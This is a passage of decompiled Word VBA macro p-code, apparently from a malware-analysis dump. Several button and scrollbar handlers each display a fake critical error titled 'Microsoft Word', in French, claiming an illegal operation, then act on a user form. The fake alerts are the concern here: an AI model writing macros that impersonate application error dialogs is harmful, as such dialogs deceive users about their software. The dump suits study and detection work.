' 	FuncDefn (Private Sub CommandButton4_Click())
' Line #46:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #47:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #48:
' 	EndSub 
' Line #49:
' Line #50:
' 	FuncDefn (Private Sub CommandButton5_Click())
' Line #51:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #52:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #53:
' 	EndSub 
' Line #54:
' Line #55:
' 	FuncDefn (Private Sub CommandButton6_Click())
' Line #56:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #57:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #58:
' 	EndSub 
' Line #59:
' Line #60:
' 	FuncDefn (Private Sub CommandButton7_Click())
' Line #61:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #62:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #63:
' 	EndSub 
' Line #64:
' 	FuncDefn (Private Sub ScrollBar1_Change())
' Line #65:
' 	LitStr 0x0044 "Ce programme a réalisé une opération illégale et va être interrompu."
' 	Ld vbCritical 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #66:
' 	Ld UserForm999 
' 	ArgsCall Unlock 0x0001 
' Line #67:
' 	EndSub 
' Line #68: